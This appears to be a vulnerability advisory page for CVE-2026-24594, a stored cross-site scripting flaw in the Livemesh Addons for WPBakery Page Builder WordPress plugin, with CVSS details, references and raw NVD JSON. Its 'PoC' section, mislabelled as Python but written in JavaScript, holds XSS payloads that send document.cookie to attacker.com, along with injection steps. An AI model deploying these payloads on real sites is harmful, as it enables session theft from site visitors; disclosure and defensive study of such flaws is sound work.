CVE-2026-24594

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in livemesh Livemesh Addons for WPBakery Page Builder addons-for-visual-composer allows Stored XSS.This issue affects Livemesh Addons for WPBakery Page Builder: from n/a through <= 3.9.4.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Livemesh Addons for WPBakery Page Builder <= 3.9.4

addons-for-visual-composer <= 3.9.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-24594 Stored XSS PoC
// Target: Livemesh Addons for WPBakery Page Builder <= 3.9.4

// 恶意payload示例 - 注入到插件的输入字段中
const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>';

// 攻击步骤：
// 1. 登录WordPress后台（需要高权限账户）
// 2. 编辑使用Livemesh插件创建的页面或帖子
// 3. 在插件的输入字段中注入XSS payload
// 4. 保存并发布内容
// 5. 当其他用户访问该页面时，恶意脚本将执行

// 示例：通过REST API或表单提交恶意数据
const exploitData = {
    action: 'save_post',
    post_id: 123,
    livemesh_field: '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'
};

// 防御建议：
// - 升级到插件最新版本
// - 对所有用户输入进行严格的HTML转义
// - 使用Content Security Policy (CSP)
// - 实施输入验证和输出编码

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24594
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24594
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24594/
[4] VulDB https://vuldb.com/cve/CVE-2026-24594
[5] https://patchstack.com/database/Wordpress/Plugin/addons-for-visual-composer/vulnerability/wordpress-livemesh-addons-for-wpbakery-page-builder-plugin-3-9-4-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24594", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:17.407", "lastModified": "2026-04-28T15:16:17.677", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in livemesh Livemesh Addons for WPBakery Page Builder addons-for-visual-composer allows Stored XSS.This issue affects Livemesh Addons for WPBakery Page Builder: from n/a through <= 3.9.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en livemesh Livemesh Addons para WPBakery Page Builder addons-for-visual-composer permite XSS Almacenado. Este problema afecta a Livemesh Addons para WPBakery Page Builder: desde n/a hasta <= 3.9.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/addons-for-visual-composer/vulnerability/wordpress-livemesh-addons-for-wpbakery-page-builder-plugin-3-9-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}